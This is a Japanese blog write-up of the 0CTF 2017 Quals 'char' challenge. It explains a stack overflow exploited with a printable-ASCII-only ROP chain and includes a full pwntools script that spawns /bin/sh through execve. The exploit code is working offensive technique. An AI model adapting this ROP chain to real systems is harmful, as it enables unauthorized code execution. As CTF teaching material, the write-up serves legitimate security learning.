ブログ未満のなにか

ブログなのか誰にも分からない

0CTF 2017 Quals char writeup

はじめに

解けたのが、これだけだった。
他の問題もチームメンバーと話したりしたが、直接の貢献は一切してない(one gadget rceのoffset調べたくらい?)。
単純なので、やるだけだった。

exploit

libcは添付されている。そして、添付のlibcは0x5555e000にマッピングされる。canaryがなく、Stack BOFが起きるので簡単にEIPが奪えて、ROPに持ち込むことができる。ただし、入力できるペイロードはASCIIコードでpritableなものに制限されている。

まずは、使用できるROP gadgetを探した。rp++でROP gadgetをファイルに書き出し、pythonでアドレスがpritableなROP gadgetだけを残した。

% rp++ ./libc.so -r 5 > gadgets
from pwn import *

f = open('./gadgets')
buf  = f.read().split('\n')

libc_base = 0x5555e000
for line in buf:
    if all(c in string.printable for c in p32(libc_base + int(line.split(':')[0][2:], 16))):
        print hex(libc_base + int(line.split(':')[0][2:], 16)), line

あとは、使えそうなgadgetを目で探してROP chainを組むだけ。stagerで良かったが直接execveから/bin/shを起動した。工夫した点としては、/bin/shを指すアドレスをebxにセットすることである。/bin/shを指すアドレスは、下位16bitがpritableにならない。add bl, alとadd bh, ahを使って、上手く/bin/shを指すアドレスとなるように計算した。
以下がexploitで、これでシェルが取れた。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log

RHOST = "202.120.7.214"
RPORT = 23222
LHOST = "127.0.0.1"
LPORT = 23222

# libc = ELF('./libc.so')
elf = ELF('./char')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=./libc.so
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./char'], execute=execute)
else:
    conn = process(['./char'])
    # conn = process(['./char'], env={'LD_PRELOAD': './libc.so'})

# preparing for exploitation
bufsize = 32
libc_base = 0x5555e000

zero_addr = 0x5557215c          #:     0x00000000
inc_eax = 0x55644263            #0x000e6263: inc eax ; ret  ;  (1 found)
xor_eax = 0x555d2040            #0x00074040: xor eax, eax ; ret  ;  (1 found)
pop_eax_ebx_esi_edi_ebp = 0x5557506b #0x0001706b: pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
pop_ecx = 0x556d2a51            # pop    ecx
pop_edx = 0x555f3555            # pop    edx, xor    eax,eaxm pop    edi
mov_edx_0 = 0x555f692d          #0x0009892d: mov edx, dword [edx] ; xor eax, eax ; test edx, edx ; sete al ; rep ret  ;  (1 found)
and_ecx = 0x5566306d #0x0010506d: and ecx, 0xC0000000 ; and edx, 0x000000FF ; cmp ecx, 0x80000000 ; cmovne eax, edx ; ret  ;  (1 found)
add_bh_ah = 0x55634e43          #0x000d6e43: add bh, ah ; ret  ;  (1 found)
add_bl_al = 0x555f643e          #0x0009843e: add bl, al ; xor eax, eax ; ret  ;  (1 found)
int0x80 = 0x55667177            #0x00109177: int 0x80 ;  (1 found)

eax_value = 0x77775070
ebx_value = 0x556b677c

log.info('Pwning')

payload = "A" * bufsize

# ecx = 0
payload += p32(pop_ecx)
payload += p32(0x30303030)
payload += p32(and_ecx)

# edx = 0
payload += p32(pop_edx)
payload += p32(zero_addr)
payload += p32(zero_addr)
payload += p32(mov_edx_0)

# ebx = &'/bin/sh' and eax = 0
payload += p32(pop_eax_ebx_esi_edi_ebp)
payload += p32(eax_value)
payload += p32(ebx_value)
payload += "XXXX" * 3
payload += p32(add_bh_ah)
payload += p32(add_bl_al)

# eax = 11
payload += p32(inc_eax) * 11

# int 0x80
payload += p32(int0x80)

print len(payload)
print payload

conn.recvuntil('GO : )')
conn.sendline(payload)
conn.interactive()